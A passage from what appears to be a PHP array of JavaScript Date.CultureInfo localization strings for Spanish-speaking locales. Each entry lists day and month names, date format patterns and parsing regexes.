\'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-DO' => 'Date.CultureInfo={name:"es-DO",englishName:"Spanish (Dominican Republic)",nativeName:"Español (República Dominicana)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-EC' => 'Date.CultureInfo={name:"es-EC",englishName:"Spanish (Ecuador)",nativeName:"Español (Ecuador)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"",pmDesignator:"",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-ES' => 'Date.CultureInfo={name:"es-ES",englishName:"Spanish (Spain)",nativeName:"español (España)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-GT' => 'Date.CultureInfo={name:"es-GT",englishName:"Spanish (Guatemala)",nativeName:"Español (Guatemala)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-HN' => 'Date.CultureInfo={name:"es-HN",englishName:"Spanish (Honduras)",nativeName:"Español (Honduras)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-MX' => 'Date.CultureInfo={name:"es-MX",englishName:"Spanish (Mexico)",nativeName:"Español (México)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-NI' => 'Date.CultureInfo={name:"es-NI",englishName:"Spanish (Nicaragua)",nativeName:"Español (Nicaragua)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-PA' => 'Date.CultureInfo={name:"es-PA",englishName:"Spanish (Panama)",nativeName:"Español (Panamá)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"mdy",formatPatterns:{shortDate:"MM/dd/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-PE' => 'Date.CultureInfo={name:"es-PE",englishName:"Spanish (Peru)",nativeName:"Español (Perú)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-PR' => 'Date.CultureInfo={name:"es-PR",englishName:"Spanish (Puerto Rico)",nativeName:"Español (Puerto Rico)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de 